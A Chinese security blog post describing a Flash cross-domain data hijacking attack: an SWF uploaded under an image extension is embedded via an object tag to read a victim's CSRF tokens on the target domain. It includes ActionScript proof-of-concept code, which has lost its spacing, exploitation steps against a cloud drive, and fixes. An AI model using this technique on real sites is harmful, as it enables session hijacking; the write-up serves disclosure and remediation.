web安全--Flash跨域数据劫持漏洞

0×01，背景

很多上传文件的后端逻辑在实现时，仅仅验证了文件后缀名和Content-Type，没有对上传文件的内容进行验证。通常情况下这样的处理逻辑仅仅是不严谨，不会造成太大的安全隐患。但经过笔者测试，发现object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说，只要文件内容包含了正常的flash文件代码，就能够被object标签成功加载并执行。而ActionScript中又提供了多种API能够让Flash发送网络请求。这样如果能够将任意后缀的Flash文件上传到目标域中，就能够在攻击者可控的域下让受害者访问一个精心构造的恶意页面，来对目标域进行跨域的数据劫持，获取受害者当前Session下的CSRF Token，以受害者的身份打开目标域的任何特权页面，进行特权操作。

0×02，利用条件

1，  目标网站的文件上传逻辑没有验证文件内容；
2，  上传的文件没有做域隔离处理；
3，  服务端没有强制设置Content-Disposition响应头；
4，  访问上传的文件没有session限制；

0×03，攻击场景构造：

首先需要构造一个poc swf文件能够对外发送http请求，这里只做演示用，因此只实现了发送简单的GET请求，代码如下：

importflash.net.URLLoader;
importflash.net.URLRequest;
importflash.net.URLLoaderDataFormat;
importflash.net.URLVariables;
importflash.events.Event;
importflash.events.HTTPStatusEvent;
importflash.events.IOErrorEvent;
importflash.events.ProgressEvent;
importflash.events.SecurityErrorEvent;
importflash.display.LoaderInfo;
importflash.system.Security;
Security.allowDomain("*");
varurlObj:Object = LoaderInfo(this.root.loaderInfo).parameters.url;
varrequest:URLRequest = new URLRequest(urlObj.toString());
request.method= URLRequestMethod.GET;
 
varloader:URLLoader = new URLLoader();
itemScroll.x= response.x+response.width;
itemScroll.y= response.y;
itemScroll.height= response.height;
 
loader.dataFormat= URLLoaderDataFormat.TEXT;
loader.addEventListener(Event.COMPLETE,loader_complete);
loader.load(request);
 
functionloader_complete (e:Event):void {
         trace("Event.COMPLETE");
         trace("Resp Data :\n" + loader.data);
         response.text = loader.data;
         itemScroll.scrollTarget = response;
}

首先使用了LoaderInfo(this.root.loaderInfo)从object标签的flashVars参数中提取出要访问的URL，再使用URLLoader对该URL发送GET请求，响应结果回显到一个Text控件中，用作验证。

接下来构造一个页面用于包含swf文件，代码如下：

FlashCSRF POC by pnig0s@FreeBuf

swf url：

hijackurl：

最终的效果如图：

0×03，漏洞利用

这里以某知名厂商提供的云盘服务进行测试，演示该漏洞的利用过程。访问该云盘服务的文件上传页面。

将之前写好的swf文件后缀修改为jpg并上传，服务端没有检查文件内容，文件上传成功。

将该文件设置成共享状态，这一步是为了让最终的文件访问链接摆脱session状态的限制，能够被其他任何用户访问到。

最终在图片预览状态通过Chrome的DeveloperTool找到图片的直接访问链接。形如

http://foo.com/intf.php?method=Preview.outputPic&xid=178xxx535&fname=%2Freq.jpg&fhash=f9cefd7e900xxxxxx6d47cd5909796e1b9&dt=24.01xxxxxxd8c91c6fefad848&v=1.0.1&rtick=14008172544583&open_app_id=0&devtype=web&sign=8895bd6844bxxxxxx15e42a8b&

通过之前构造的html页面，使用object包含上面的链接，swf文件能够被正常的执行，当其他用户访问该页面，会以该用户的身份打开指定的页面，造成跨域数据劫持，此时Anti-CSRF已经形同虚设，可以获取CSRF Token，访问特权页面，进行特权操作。

0×04，影响范围

经过笔者测试，国内各知名互联网厂商，及云存储提供商均受到该问题的影响。除此之外，经过测试，一些知名的开源在线编辑器如UEditor，CKEditor，KindEditor，XhEditor，Ewebeditor等也均受到该问题的影响。更多其他厂商及Web应用暂未做更多测试，不过可以预见受该问题影响的站点数量较多。

0×05，修复建议

根据之前提到过的利用条件，修复的方法也就显而易见了。

1，对上传文件内容进行检查：
当然这并不容易，除了jpg类型，能够直接在线访问的文件类型很多，尤其对于云存储服务，以及有些服务功能性上的需要，难以全部进行验证。
2，强制设置Content-Disposition响应头：
设置该头部后能够强制浏览器对文件执行下载操作。但是对国内一些服务测试的过程中也发现了一个问题，有些直接在URL中加了类似downloadtype=1这类参数，直接设置成0就不会强制下载了。所以建议这种参数不要暴露在url中。
3，进行域隔离：
这个没什么好说的，尤其对于一些云盘，云存储的服务，对于用户上传的文件不做域隔离的都是耍流氓的行为。

 

0×06，结束

行文仓促，谢绝PK。

0×07，REF

1)http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

2)http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/URLLoader.html